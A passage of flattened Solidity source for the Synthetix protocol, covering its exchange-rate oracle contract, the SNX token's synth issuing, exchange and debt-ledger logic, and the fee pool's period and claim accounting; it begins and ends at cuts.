IssuanceRatioUpdated(_issuanceRatio); } function importIssuerData(address[] accounts, uint[] sUSDAmounts) external onlyOwner onlyDuringSetup { require(accounts.length == sUSDAmounts.length, "Length mismatch"); for (uint8 i = 0; i < accounts.length; i++) { _addToDebtRegister(accounts[i], sUSDAmounts[i]); } } function _addToDebtRegister(address account, uint amount) internal { Synthetix synthetix = Synthetix(associatedContract); uint xdrValue = synthetix.effectiveValue("sUSD", amount, "XDR"); uint totalDebtIssued = importedXDRAmount; uint newTotalDebtIssued = xdrValue.add(totalDebtIssued); importedXDRAmount = newTotalDebtIssued; uint debtPercentage = xdrValue.divideDecimalRoundPrecise(newTotalDebtIssued); uint delta = SafeDecimalMath.preciseUnit().sub(debtPercentage); uint existingDebt = synthetix.debtBalanceOf(account, "XDR"); if (existingDebt > 0) { debtPercentage = xdrValue.add(existingDebt).divideDecimalRoundPrecise(newTotalDebtIssued); } if (issuanceData[account].initialDebtOwnership == 0) { totalIssuerCount = totalIssuerCount.add(1); } issuanceData[account].initialDebtOwnership = debtPercentage; issuanceData[account].debtEntryIndex = debtLedger.length; if (debtLedger.length > 0) { debtLedger.push( debtLedger[debtLedger.length - 1].multiplyDecimalRoundPrecise(delta) ); } else { debtLedger.push(SafeDecimalMath.preciseUnit()); } } function debtLedgerLength() external view returns (uint) { return debtLedger.length; } function lastDebtLedgerEntry() external view returns (uint) { return debtLedger[debtLedger.length - 1]; } function hasIssued(address account) external view returns (bool) { return issuanceData[account].initialDebtOwnership > 0; } event IssuanceRatioUpdated(uint newRatio); } contract ExchangeRates is SelfDestructible { using SafeMath for uint; mapping(bytes4 => uint) public rates; mapping(bytes4 => uint) public lastRateUpdateTimes; address public oracle; uint constant ORACLE_FUTURE_LIMIT = 10 minutes; uint public rateStalePeriod = 3 hours; bytes4[5] public xdrParticipants; constructor( address _owner, address _oracle, bytes4[] _currencyKeys, uint[] _newRates ) SelfDestructible(_owner) public { require(_currencyKeys.length == _newRates.length, "Currency key length and rate length must match."); oracle = _oracle; rates["sUSD"] = SafeDecimalMath.unit(); lastRateUpdateTimes["sUSD"] = now; xdrParticipants = [ bytes4("sUSD"), bytes4("sAUD"), bytes4("sCHF"), bytes4("sEUR"), bytes4("sGBP") ]; internalUpdateRates(_currencyKeys, _newRates, now); } function updateRates(bytes4[] currencyKeys, uint[] newRates, uint timeSent) external onlyOracle returns(bool) { return internalUpdateRates(currencyKeys, newRates, timeSent); } function internalUpdateRates(bytes4[] currencyKeys, uint[] newRates, uint timeSent) internal returns(bool) { require(currencyKeys.length == newRates.length, "Currency key array length must match rates array length."); require(timeSent < (now + ORACLE_FUTURE_LIMIT), "Time is too far into the future"); for (uint i = 0; i < currencyKeys.length; i++) { require(newRates[i] != 0, "Zero is not a valid rate, please call deleteRate instead."); require(currencyKeys[i] != "sUSD", "Rate of sUSD cannot be updated, it's always UNIT."); if (timeSent >= lastRateUpdateTimes[currencyKeys[i]]) { rates[currencyKeys[i]] = newRates[i]; lastRateUpdateTimes[currencyKeys[i]] = timeSent; } } emit RatesUpdated(currencyKeys, newRates); updateXDRRate(timeSent); return true; } function updateXDRRate(uint timeSent) internal { uint total = 0; for (uint i = 0; i < xdrParticipants.length; i++) { total = rates[xdrParticipants[i]].add(total); } rates["XDR"] = total; lastRateUpdateTimes["XDR"] = timeSent; bytes4[] memory eventCurrencyCode = new bytes4[](1); eventCurrencyCode[0] = "XDR"; uint[] memory eventRate = new uint[](1); eventRate[0] = rates["XDR"]; emit RatesUpdated(eventCurrencyCode, eventRate); } function deleteRate(bytes4 currencyKey) external onlyOracle { require(rates[currencyKey] > 0, "Rate is zero"); delete rates[currencyKey]; delete lastRateUpdateTimes[currencyKey]; emit RateDeleted(currencyKey); } function setOracle(address _oracle) external onlyOwner { oracle = _oracle; emit OracleUpdated(oracle); } function setRateStalePeriod(uint _time) external onlyOwner { rateStalePeriod = _time; emit RateStalePeriodUpdated(rateStalePeriod); } function rateForCurrency(bytes4 currencyKey) public view returns (uint) { return rates[currencyKey]; } function ratesForCurrencies(bytes4[] currencyKeys) public view returns (uint[]) { uint[] memory _rates = new uint[](currencyKeys.length); for (uint8 i = 0; i < currencyKeys.length; i++) { _rates[i] = rates[currencyKeys[i]]; } return _rates; } function lastRateUpdateTimeForCurrency(bytes4 currencyKey) public view returns (uint) { return lastRateUpdateTimes[currencyKey]; } function lastRateUpdateTimesForCurrencies(bytes4[] currencyKeys) public view returns (uint[]) { uint[] memory lastUpdateTimes = new uint[](currencyKeys.length); for (uint8 i = 0; i < currencyKeys.length; i++) { lastUpdateTimes[i] = lastRateUpdateTimes[currencyKeys[i]]; } return lastUpdateTimes; } function rateIsStale(bytes4 currencyKey) external view returns (bool) { if (currencyKey == "sUSD") return false; return lastRateUpdateTimes[currencyKey].add(rateStalePeriod) < now; } function anyRateIsStale(bytes4[] currencyKeys) external view returns (bool) { uint256 i = 0; while (i < currencyKeys.length) { if (currencyKeys[i] != "sUSD" && lastRateUpdateTimes[currencyKeys[i]].add(rateStalePeriod) < now) { return true; } i += 1; } return false; } modifier onlyOracle { require(msg.sender == oracle, "Only the oracle can perform this action"); _; } event OracleUpdated(address newOracle); event RateStalePeriodUpdated(uint rateStalePeriod); event RatesUpdated(bytes4[] currencyKeys, uint[] newRates); event RateDeleted(bytes4 currencyKey); } contract Synthetix is ExternStateToken { Synth[] public availableSynths; mapping(bytes4 => Synth) public synths; FeePool public feePool; SynthetixEscrow public escrow; ExchangeRates public exchangeRates; SynthetixState public synthetixState; uint constant SYNTHETIX_SUPPLY = 1e8 * SafeDecimalMath.unit(); string constant TOKEN_NAME = "Synthetix Network Token"; string constant TOKEN_SYMBOL = "SNX"; uint8 constant DECIMALS = 18; constructor(address _proxy, TokenState _tokenState, SynthetixState _synthetixState, address _owner, ExchangeRates _exchangeRates, FeePool _feePool ) ExternStateToken(_proxy, _tokenState, TOKEN_NAME, TOKEN_SYMBOL, SYNTHETIX_SUPPLY, DECIMALS, _owner) public { synthetixState = _synthetixState; exchangeRates = _exchangeRates; feePool = _feePool; } function addSynth(Synth synth) external optionalProxy_onlyOwner { bytes4 currencyKey = synth.currencyKey(); require(synths[currencyKey] == Synth(0), "Synth already exists"); availableSynths.push(synth); synths[currencyKey] = synth; emitSynthAdded(currencyKey, synth); } function removeSynth(bytes4 currencyKey) external optionalProxy_onlyOwner { require(synths[currencyKey] != address(0), "Synth does not exist"); require(synths[currencyKey].totalSupply() == 0, "Synth supply exists"); require(currencyKey != "XDR", "Cannot remove XDR synth"); address synthToRemove = synths[currencyKey]; for (uint8 i = 0; i < availableSynths.length; i++) { if (availableSynths[i] == synthToRemove) { delete availableSynths[i]; availableSynths[i] = availableSynths[availableSynths.length - 1]; availableSynths.length--; break; } } delete synths[currencyKey]; emitSynthRemoved(currencyKey, synthToRemove); } function setEscrow(SynthetixEscrow _escrow) external optionalProxy_onlyOwner { escrow = _escrow; } function setExchangeRates(ExchangeRates _exchangeRates) external optionalProxy_onlyOwner { exchangeRates = _exchangeRates; } function setSynthetixState(SynthetixState _synthetixState) external optionalProxy_onlyOwner { synthetixState = _synthetixState; emitStateContractChanged(_synthetixState); } function setPreferredCurrency(bytes4 currencyKey) external optionalProxy { require(currencyKey == 0 || !exchangeRates.rateIsStale(currencyKey), "Currency rate is stale or doesn't exist."); synthetixState.setPreferredCurrency(messageSender, currencyKey); emitPreferredCurrencyChanged(messageSender, currencyKey); } function effectiveValue(bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey) public view rateNotStale(sourceCurrencyKey) rateNotStale(destinationCurrencyKey) returns (uint) { if (sourceCurrencyKey == destinationCurrencyKey) return sourceAmount; return sourceAmount.multiplyDecimalRound(exchangeRates.rateForCurrency(sourceCurrencyKey)) .divideDecimalRound(exchangeRates.rateForCurrency(destinationCurrencyKey)); } function totalIssuedSynths(bytes4 currencyKey) public view rateNotStale(currencyKey) returns (uint) { uint total = 0; uint currencyRate = exchangeRates.rateForCurrency(currencyKey); require(!exchangeRates.anyRateIsStale(availableCurrencyKeys()), "Rates are stale"); for (uint8 i = 0; i < availableSynths.length; i++) { uint synthValue = availableSynths[i].totalSupply() .multiplyDecimalRound(exchangeRates.rateForCurrency(availableSynths[i].currencyKey())) .divideDecimalRound(currencyRate); total = total.add(synthValue); } return total; } function availableCurrencyKeys() internal view returns (bytes4[]) { bytes4[] memory availableCurrencyKeys = new bytes4[](availableSynths.length); for (uint8 i = 0; i < availableSynths.length; i++) { availableCurrencyKeys[i] = availableSynths[i].currencyKey(); } return availableCurrencyKeys; } function availableSynthCount() public view returns (uint) { return availableSynths.length; } function transfer(address to, uint value) public returns (bool) { bytes memory empty; return transfer(to, value, empty); } function transfer(address to, uint value, bytes data) public optionalProxy returns (bool) { require(value <= transferableSynthetix(messageSender), "Insufficient balance"); _transfer_byProxy(messageSender, to, value, data); return true; } function transferFrom(address from, address to, uint value) public returns (bool) { bytes memory empty; return transferFrom(from, to, value, empty); } function transferFrom(address from, address to, uint value, bytes data) public optionalProxy returns (bool) { require(value <= transferableSynthetix(from), "Insufficient balance"); _transferFrom_byProxy(messageSender, from, to, value, data); return true; } function exchange(bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey, address destinationAddress) external optionalProxy returns (bool) { require(sourceCurrencyKey != destinationCurrencyKey, "Exchange must use different synths"); require(sourceAmount > 0, "Zero amount"); return _internalExchange( messageSender, sourceCurrencyKey, sourceAmount, destinationCurrencyKey, destinationAddress == address(0) ? messageSender : destinationAddress, true ); } function synthInitiatedExchange( address from, bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey, address destinationAddress ) external onlySynth returns (bool) { require(sourceCurrencyKey != destinationCurrencyKey, "Can't be same synth"); require(sourceAmount > 0, "Zero amount"); return _internalExchange( from, sourceCurrencyKey, sourceAmount, destinationCurrencyKey, destinationAddress, false ); } function synthInitiatedFeePayment( address from, bytes4 sourceCurrencyKey, uint sourceAmount ) external onlySynth returns (bool) { if (sourceAmount == 0) { return true; } require(sourceAmount > 0, "Source can't be 0"); bool result = _internalExchange( from, sourceCurrencyKey, sourceAmount, "XDR", feePool.FEE_ADDRESS(), false ); feePool.feePaid(sourceCurrencyKey, sourceAmount); return result; } function _internalExchange( address from, bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey, address destinationAddress, bool chargeFee ) internal notFeeAddress(from) returns (bool) { require(destinationAddress != address(0), "Zero destination"); require(destinationAddress != address(this), "Synthetix is invalid destination"); require(destinationAddress != address(proxy), "Proxy is invalid destination"); synths[sourceCurrencyKey].burn(from, sourceAmount); uint destinationAmount = effectiveValue(sourceCurrencyKey, sourceAmount, destinationCurrencyKey); uint amountReceived = destinationAmount; uint fee = 0; if (chargeFee) { amountReceived = feePool.amountReceivedFromExchange(destinationAmount); fee = destinationAmount.sub(amountReceived); } synths[destinationCurrencyKey].issue(destinationAddress, amountReceived); if (fee > 0) { uint xdrFeeAmount = effectiveValue(destinationCurrencyKey, fee, "XDR"); synths["XDR"].issue(feePool.FEE_ADDRESS(), xdrFeeAmount); } synths[destinationCurrencyKey].triggerTokenFallbackIfNeeded(from, destinationAddress, amountReceived); emitSynthExchange(from, sourceCurrencyKey, sourceAmount, destinationCurrencyKey, amountReceived, destinationAddress); return true; } function _addToDebtRegister(bytes4 currencyKey, uint amount) internal optionalProxy { uint xdrValue = effectiveValue(currencyKey, amount, "XDR"); uint totalDebtIssued = totalIssuedSynths("XDR"); uint newTotalDebtIssued = xdrValue.add(totalDebtIssued); uint debtPercentage = xdrValue.divideDecimalRoundPrecise(newTotalDebtIssued); uint delta = SafeDecimalMath.preciseUnit().sub(debtPercentage); uint existingDebt = debtBalanceOf(messageSender, "XDR"); if (existingDebt > 0) { debtPercentage = xdrValue.add(existingDebt).divideDecimalRoundPrecise(newTotalDebtIssued); } if (!synthetixState.hasIssued(messageSender)) { synthetixState.incrementTotalIssuerCount(); } synthetixState.setCurrentIssuanceData(messageSender, debtPercentage); if (synthetixState.debtLedgerLength() > 0) { synthetixState.appendDebtLedgerValue( synthetixState.lastDebtLedgerEntry().multiplyDecimalRoundPrecise(delta) ); } else { synthetixState.appendDebtLedgerValue(SafeDecimalMath.preciseUnit()); } } function issueSynths(bytes4 currencyKey, uint amount) public optionalProxy nonZeroAmount(amount) { require(amount <= remainingIssuableSynths(messageSender, currencyKey), "Amount too large"); _addToDebtRegister(currencyKey, amount); synths[currencyKey].issue(messageSender, amount); } function issueMaxSynths(bytes4 currencyKey) external optionalProxy { uint maxIssuable = remainingIssuableSynths(messageSender, currencyKey); issueSynths(currencyKey, maxIssuable); } function burnSynths(bytes4 currencyKey, uint amount) external optionalProxy { uint debt = debtBalanceOf(messageSender, currencyKey); require(debt > 0, "No debt to forgive"); uint amountToBurn = debt < amount ? debt : amount; _removeFromDebtRegister(currencyKey, amountToBurn); synths[currencyKey].burn(messageSender, amountToBurn); } function _removeFromDebtRegister(bytes4 currencyKey, uint amount) internal { uint debtToRemove = effectiveValue(currencyKey, amount, "XDR"); uint existingDebt = debtBalanceOf(messageSender, "XDR"); uint totalDebtIssued = totalIssuedSynths("XDR"); uint debtPercentage = debtToRemove.divideDecimalRoundPrecise(totalDebtIssued); uint delta = SafeDecimalMath.preciseUnit().add(debtPercentage); if (debtToRemove == existingDebt) { synthetixState.clearIssuanceData(messageSender); synthetixState.decrementTotalIssuerCount(); } else { uint newDebt = existingDebt.sub(debtToRemove); uint newTotalDebtIssued = totalDebtIssued.sub(debtToRemove); uint newDebtPercentage = newDebt.divideDecimalRoundPrecise(newTotalDebtIssued); synthetixState.setCurrentIssuanceData(messageSender, newDebtPercentage); } synthetixState.appendDebtLedgerValue( synthetixState.lastDebtLedgerEntry().multiplyDecimalRoundPrecise(delta) ); } function maxIssuableSynths(address issuer, bytes4 currencyKey) public view returns (uint) { uint destinationValue = effectiveValue("SNX", collateral(issuer), currencyKey); return destinationValue.multiplyDecimal(synthetixState.issuanceRatio()); } function collateralisationRatio(address issuer) public view returns (uint) { uint totalOwnedSynthetix = collateral(issuer); if (totalOwnedSynthetix == 0) return 0; uint debtBalance = debtBalanceOf(issuer, "SNX"); return debtBalance.divideDecimalRound(totalOwnedSynthetix); } function debtBalanceOf(address issuer, bytes4 currencyKey) public view returns (uint) { uint initialDebtOwnership; uint debtEntryIndex; (initialDebtOwnership, debtEntryIndex) = synthetixState.issuanceData(issuer); if (initialDebtOwnership == 0) return 0; uint currentDebtOwnership = synthetixState.lastDebtLedgerEntry() .divideDecimalRoundPrecise(synthetixState.debtLedger(debtEntryIndex)) .multiplyDecimalRoundPrecise(initialDebtOwnership); uint totalSystemValue = totalIssuedSynths(currencyKey); uint highPrecisionBalance = totalSystemValue.decimalToPreciseDecimal() .multiplyDecimalRoundPrecise(currentDebtOwnership); return highPrecisionBalance.preciseDecimalToDecimal(); } function remainingIssuableSynths(address issuer, bytes4 currencyKey) public view returns (uint) { uint alreadyIssued = debtBalanceOf(issuer, currencyKey); uint max = maxIssuableSynths(issuer, currencyKey); if (alreadyIssued >= max) { return 0; } else { return max.sub(alreadyIssued); } } function collateral(address account) public view returns (uint) { uint balance = tokenState.balanceOf(account); if (escrow != address(0)) { balance = balance.add(escrow.balanceOf(account)); } return balance; } function transferableSynthetix(address account) public view rateNotStale("SNX") returns (uint) { uint balance = tokenState.balanceOf(account); uint lockedSynthetixValue = debtBalanceOf(account, "SNX").divideDecimalRound(synthetixState.issuanceRatio()); if (lockedSynthetixValue >= balance) { return 0; } else { return balance.sub(lockedSynthetixValue); } } modifier rateNotStale(bytes4 currencyKey) { require(!exchangeRates.rateIsStale(currencyKey), "Rate stale or nonexistant currency"); _; } modifier notFeeAddress(address account) { require(account != feePool.FEE_ADDRESS(), "Fee address not allowed"); _; } modifier onlySynth() { bool isSynth = false; for (uint8 i = 0; i < availableSynths.length; i++) { if (availableSynths[i] == msg.sender) { isSynth = true; break; } } require(isSynth, "Only synth allowed"); _; } modifier nonZeroAmount(uint _amount) { require(_amount > 0, "Amount needs to be larger than 0"); _; } event SynthExchange(address indexed account, bytes4 fromCurrencyKey, uint256 fromAmount, bytes4 toCurrencyKey, uint256 toAmount, address toAddress); bytes32 constant SYNTHEXCHANGE_SIG = keccak256("SynthExchange(address,bytes4,uint256,bytes4,uint256,address)"); function emitSynthExchange(address account, bytes4 fromCurrencyKey, uint256 fromAmount, bytes4 toCurrencyKey, uint256 toAmount, address toAddress) internal { proxy._emit(abi.encode(fromCurrencyKey, fromAmount, toCurrencyKey, toAmount, toAddress), 2, SYNTHEXCHANGE_SIG, bytes32(account), 0, 0); } event PreferredCurrencyChanged(address indexed account, bytes4 newPreferredCurrency); bytes32 constant PREFERREDCURRENCYCHANGED_SIG = keccak256("PreferredCurrencyChanged(address,bytes4)"); function emitPreferredCurrencyChanged(address account, bytes4 newPreferredCurrency) internal { proxy._emit(abi.encode(newPreferredCurrency), 2, PREFERREDCURRENCYCHANGED_SIG, bytes32(account), 0, 0); } event StateContractChanged(address stateContract); bytes32 constant STATECONTRACTCHANGED_SIG = keccak256("StateContractChanged(address)"); function emitStateContractChanged(address stateContract) internal { proxy._emit(abi.encode(stateContract), 1, STATECONTRACTCHANGED_SIG, 0, 0, 0); } event SynthAdded(bytes4 currencyKey, address newSynth); bytes32 constant SYNTHADDED_SIG = keccak256("SynthAdded(bytes4,address)"); function emitSynthAdded(bytes4 currencyKey, address newSynth) internal { proxy._emit(abi.encode(currencyKey, newSynth), 1, SYNTHADDED_SIG, 0, 0, 0); } event SynthRemoved(bytes4 currencyKey, address removedSynth); bytes32 constant SYNTHREMOVED_SIG = keccak256("SynthRemoved(bytes4,address)"); function emitSynthRemoved(bytes4 currencyKey, address removedSynth) internal { proxy._emit(abi.encode(currencyKey, removedSynth), 1, SYNTHREMOVED_SIG, 0, 0, 0); } } contract FeePool is Proxyable, SelfDestructible { using SafeMath for uint; using SafeDecimalMath for uint; Synthetix public synthetix; uint public transferFeeRate; uint constant public MAX_TRANSFER_FEE_RATE = SafeDecimalMath.unit() / 10; uint public exchangeFeeRate; uint constant public MAX_EXCHANGE_FEE_RATE = SafeDecimalMath.unit() / 10; address public feeAuthority; address public constant FEE_ADDRESS = 0xfeEFEEfeefEeFeefEEFEEfEeFeefEEFeeFEEFEeF; struct FeePeriod { uint feePeriodId; uint startingDebtIndex; uint startTime; uint feesToDistribute; uint feesClaimed; } uint8 constant public FEE_PERIOD_LENGTH = 6; FeePeriod[FEE_PERIOD_LENGTH] public recentFeePeriods; uint public nextFeePeriodId; uint public feePeriodDuration = 1 weeks; uint public constant MIN_FEE_PERIOD_DURATION = 1 days; uint public constant MAX_FEE_PERIOD_DURATION = 60 days; mapping(address => uint) public lastFeeWithdrawal; uint constant TWENTY_PERCENT = (20 * SafeDecimalMath.unit()) / 100; uint constant TWENTY_FIVE_PERCENT = (25 * SafeDecimalMath.unit()) / 100; uint constant THIRTY_PERCENT = (30 * SafeDecimalMath.unit()) / 100; uint constant FOURTY_PERCENT = (40 * SafeDecimalMath.unit()) / 100; uint constant FIFTY_PERCENT = (50 * SafeDecimalMath.unit()) / 100; uint constant SEVENTY_FIVE_PERCENT = (75 * SafeDecimalMath.unit()) / 100; constructor(address _proxy, address _owner, Synthetix _synthetix, address _feeAuthority, uint _transferFeeRate, uint _exchangeFeeRate) SelfDestructible(_owner) Proxyable(_proxy, _owner) public { require(_transferFeeRate <= MAX_TRANSFER_FEE_RATE, "Constructed transfer fee rate should respect the maximum fee rate"); require(_exchangeFeeRate <= MAX_EXCHANGE_FEE_RATE, "Constructed exchange fee rate should respect the maximum fee rate"); synthetix = _synthetix; feeAuthority = _feeAuthority; transferFeeRate = _transferFeeRate; exchangeFeeRate = _exchangeFeeRate; recentFeePeriods[0].feePeriodId = 1; recentFeePeriods[0].startTime = now; nextFeePeriodId = 2; } function setExchangeFeeRate(uint _exchangeFeeRate) external optionalProxy_onlyOwner { require(_exchangeFeeRate <= MAX_EXCHANGE_FEE_RATE, "Exchange fee rate must be below MAX_EXCHANGE_FEE_RATE"); exchangeFeeRate = _exchangeFeeRate; emitExchangeFeeUpdated(_exchangeFeeRate); } function setTransferFeeRate(uint _transferFeeRate) external optionalProxy_onlyOwner { require(_transferFeeRate <= MAX_TRANSFER_FEE_RATE, "Transfer fee rate must be below MAX_TRANSFER_FEE_RATE"); transferFeeRate = _transferFeeRate; emitTransferFeeUpdated(_transferFeeRate); } function setFeeAuthority(address _feeAuthority) external optionalProxy_onlyOwner { feeAuthority = _feeAuthority; emitFeeAuthorityUpdated(_feeAuthority); } function setFeePeriodDuration(uint _feePeriodDuration) external optionalProxy_onlyOwner { require(_feePeriodDuration >= MIN_FEE_PERIOD_DURATION, "New fee period cannot be less than minimum fee period duration"); require(_feePeriodDuration <= MAX_FEE_PERIOD_DURATION, "New fee period cannot be greater than maximum fee period duration"); feePeriodDuration = _feePeriodDuration; emitFeePeriodDurationUpdated(_feePeriodDuration); } function setSynthetix(Synthetix _synthetix) external optionalProxy_onlyOwner { require(address(_synthetix) != address(0), "New Synthetix must be non-zero"); synthetix = _synthetix; emitSynthetixUpdated(_synthetix); } function feePaid(bytes4 currencyKey, uint amount) external onlySynthetix { uint xdrAmount = synthetix.effectiveValue(currencyKey, amount, "XDR"); recentFeePeriods[0].feesToDistribute = recentFeePeriods[0].feesToDistribute.add(xdrAmount); } function closeCurrentFeePeriod() external onlyFeeAuthority { require(recentFeePeriods[0].startTime <= (now - feePeriodDuration), "It is too early to close the current fee period"); FeePeriod memory secondLastFeePeriod = recentFeePeriods[FEE_PERIOD_LENGTH - 2]; FeePeriod memory lastFeePeriod = recentFeePeriods[FEE_PERIOD_LENGTH - 1]; recentFeePeriods[FEE_PERIOD_LENGTH - 2].feesToDistribute = lastFeePeriod.feesToDistribute .sub(lastFeePeriod.feesClaimed) .add(secondLastFeePeriod.feesToDistribute); for (uint i = FEE_PERIOD_LENGTH - 2; i < FEE_PERIOD_LENGTH; i--) { uint next = i + 1; recentFeePeriods[next].feePeriodId = recentFeePeriods[i].feePeriodId; recentFeePeriods[next].startingDebtIndex = recentFeePeriods[i].startingDebtIndex; recentFeePeriods[next].startTime = recentFeePeriods[i].startTime; recentFeePeriods[next].feesToDistribute = recentFeePeriods[i].feesToDistribute; recentFeePeriods[next].feesClaimed = recentFeePeriods[i].feesClaimed; } delete recentFeePeriods[0]; recentFeePeriods[0].feePeriodId = nextFeePeriodId; recentFeePeriods[0].startingDebtIndex = synthetix.synthetixState().debtLedgerLength(); recentFeePeriods[0].startTime = now; nextFeePeriodId = nextFeePeriodId.add(1); emitFeePeriodClosed(recentFeePeriods[1].feePeriodId); } function claimFees(bytes4 currencyKey) external optionalProxy returns (bool) { uint availableFees = feesAvailable(messageSender, "XDR"); require(availableFees > 0, "No fees available for period, or fees already claimed"); lastFeeWithdrawal[messageSender] = recentFeePeriods[1].feePeriodId; _recordFeePayment(availableFees); _payFees(messageSender, availableFees, currencyKey); emitFeesClaimed(messageSender, availableFees); return true; } function _recordFeePayment(uint xdrAmount) internal { uint remainingToAllocate = xdrAmount; for (uint i = FEE_PERIOD_LENGTH - 1; i < FEE_PERIOD_LENGTH; i--) { uint delta = recentFeePeriods[i].feesToDistribute.sub(recentFeePeriods[i].feesClaimed); if (delta > 0) { uint amountInPeriod = delta < remainingToAllocate ? delta : remainingToAllocate; recentFeePeriods[i].feesClaimed = recentFeePeriods[i].feesClaimed.add(amountInPeriod); remainingToAllocate = remainingToAllocate.sub(amountInPeriod); if (remainingToAllocate == 0) return; } } assert(remainingToAllocate == 0); } function _payFees(address account, uint xdrAmount, bytes4 destinationCurrencyKey) internal notFeeAddress(account) { require(account != address(0), "Account can't be 0"); require(account != address(this), "Can't send fees to fee pool"); require(account != address(proxy), "Can't send fees to proxy"); require(account != address(synthetix), "Can't send fees to synthetix"); Synth xdrSynth = synthetix.synths("XDR"); Synth destinationSynth = synthetix.synths(destinationCurrencyKey); xdrSynth.burn(FEE_ADDRESS, xdrAmount); uint destinationAmount = synthetix.effectiveValue("XDR", xdrAmount, destinationCurrencyKey); destinationSynth.issue(account, destinationAmount); destinationSynth.triggerTokenFallbackIfNeeded(FEE_ADDRESS, account, destinationAmount); } function transferFeeIncurred(uint value) public view returns (uint) { return value.multiplyDecimal(transferFeeRate); } function transferredAmountToReceive(uint value) external view returns (uint) { return value.add(transferFeeIncurred(value)); } function amountReceivedFromTransfer(uint value) external view returns (uint) { return value.divideDecimal(transferFeeRate.add(SafeDecimalMath.unit())); } function exchangeFeeIncurred(uint value) public view returns (uint) { return value.multiplyDecimal(exchangeFeeRate); } function exchangedAmountToReceive(uint value) external view returns (uint) { return value.add(exchangeFeeIncurred(value)); } function amountReceivedFromExchange(uint value) external view returns (uint) { return value.divideDecimal(exchangeFeeRate.add(SafeDecimalMath.unit())); } function totalFeesAvailable(bytes4 currencyKey) external view returns (uint) { uint totalFees = 0; for (uint i = 1; i < FEE_PERIOD_LENGTH; i++) { totalFees = totalFees.add(recentFeePeriods[i].feesToDistribute); totalFees = totalFees.sub(recentFeePeriods[i].feesClaimed); } return synthetix.effectiveValue("XDR", totalFees, currencyKey); } function feesAvailable(address account, bytes4 currencyKey) public view returns (uint) { uint[FEE_PERIOD_LENGTH] memory userFees = feesByPeriod(account); uint totalFees = 0; for (uint i = 1; i < FEE_PERIOD_LENGTH; i++) { totalFees = totalFees.add(userFees[i]); } return synthetix.effectiveValue("XDR", totalFees, currencyKey); } function currentPenalty(address account) public view returns (uint) { uint ratio = synthetix.collateralisationRatio(account); if (ratio <= TWENTY_PERCENT) { return 0; } else if (ratio > TWENTY_PERCENT && ratio <= THIRTY_PERCENT) { return TWENTY_FIVE_PERCENT; } else if (ratio > THIRTY_PERCENT && ratio <= FOURTY_PERCENT) { return FIFTY_PERCENT; } return SEVENTY_FIVE_PERCENT; } function feesByPeriod(address account) public view returns (uint[FEE_PERIOD_LENGTH]) { uint[FEE_PERIOD_LENGTH] memory result; uint initialDebtOwnership; uint debtEntryIndex; (initialDebtOwnership, debtEntryIndex) = synthetix.synthetixState().issuanceData(account); if (initialDebtOwnership == 0) return result; uint totalSynths = synthetix.totalIssuedSynths("XDR"); if (totalSynths == 0) return result; uint debtBalance = synthetix.debtBalanceOf(account, "XDR"); uint userOwnershipPercentage = debtBalance.divideDecimal(totalSynths); uint penalty = currentPenalty(account); for (uint i = 0; i < FEE_PERIOD_LENGTH; i++) { if (recentFeePeriods[i].startingDebtIndex > debtEntryIndex && lastFeeWithdrawal[account] < recentFeePeriods[i].feePeriodId) { uint feesFromPeriodWithoutPenalty = recentFeePeriods[i].feesToDistribute .multiplyDecimal(userOwnershipPercentage); uint penaltyFromPeriod = feesFromPeriodWithoutPenalty.multiplyDecimal(penalty); uint feesFromPeriod = feesFromPeriodWithoutPenalty.sub(penaltyFromPeriod); result[i] = feesFromPeriod; } } return result; } modifier onlyFeeAuthority { require(msg.sender == feeAuthority, "Only the fee authority can perform this action"); _; } modifier onlySynthetix { require(msg.sender == address(synthetix), "Only the synthetix contract can perform this action"); _; } modifier notFeeAddress(address account) { require(account != FEE_ADDRESS, "Fee address not allowed"); _; } event TransferFeeUpdated(uint newFeeRate); bytes32 constant TRANSFERFEEUPDATED_SIG = keccak256("TransferFeeUpdated(uint256)"); function emitTransferFeeUpdated(uint newFeeRate) internal { proxy._emit(abi.encode(newFeeRate), 1, TRANSFERFEEUPDATED_SIG, 0, 0, 0); } event ExchangeFeeUpdated(uint newFeeRate); bytes32 constant EXCHANGEFEEUPDATED_SIG = keccak256("ExchangeFeeUpdated(uint256)"); function emitExchangeFeeUpdated(uint newFeeRate) internal { proxy._emit(abi.encode(newFeeRate), 1, EXCHANGEFEEUPDATED_SIG, 0, 0, 0); } event FeePeriodDurationUpdated(uint newFeePeriodDuration); bytes32 constant FEEPERIODDURATIONUPDATED_SIG = keccak256("FeePeriodDurationUpdated(uint256)"); function emitFeePeriodDurationUpdated(uint newFeePeriodDuration) internal { proxy._emit(abi.encode(newFeePeriodDuration), 1, FEEPERIODDURATIONUPDATED_SIG, 0, 0, 0); } event FeeAuthorityUpdated(address newFeeAuthority); bytes32 constant FEEAUTHORITYUPDATED_SIG = keccak256("FeeAuthorityUpdated(address)"); function emitFeeAuthorityUpdated(address newFeeAuthority) internal { proxy._emit(abi.encode(newFeeAuthority), 1, FEEAUTHORITYUPDATED_SIG, 0, 0, 0); } event FeePeriodClosed(uint feePeriodId); bytes32 constant FEEPERIODCLOSED_SIG = keccak256("FeePeriodClosed(uint256)"); function emitFeePeriodClosed(uint feePeriodId) internal { proxy._emit(abi.encode(feePeriodId), 1, FEEPERIODCLOSED_SIG, 0, 0, 0); } event FeesClaimed(address account, uint xdrAmount); bytes32 constant FEESCLAIMED_SIG = keccak256("FeesClaimed(address,uint256)"); function emitFeesClaimed(address account, uint xdrAmount) internal { proxy._emit(abi.encode(account, xdrAmount), 1, FEESCLAIMED_SIG, 0, 0, 0); } event SynthetixUpdated(address newSynthetix); bytes32 constant SYNTHETIXUPDATED_SIG = keccak256("SynthetixUpdated(address)"); function emitSynthetixUpdated(address newSynthetix) internal { proxy._emit(abi.encode(newSynthetix), 1, SYNTHETIXUPDATED_SIG, 0, 0, 0); } } contract Synth is ExternStateToken { FeePool public feePool; Synthetix public synthetix; bytes4 public currencyKey; uint8 constant DECIMALS = 18; constructor(address _proxy, TokenState _tokenState, Synthetix _synthetix, FeePool _feePool, string _tokenName, string _tokenSymbol, address _owner, bytes4 _currencyKey ) ExternStateToken(_proxy, _tokenState, _tokenName, _tokenSymbol, 0, DECIMALS, _owner) public { require(_proxy != 0, "_proxy cannot be 0"); require(address(_synthetix) != 0, "_synthetix cannot be 0"); require(address(_feePool) 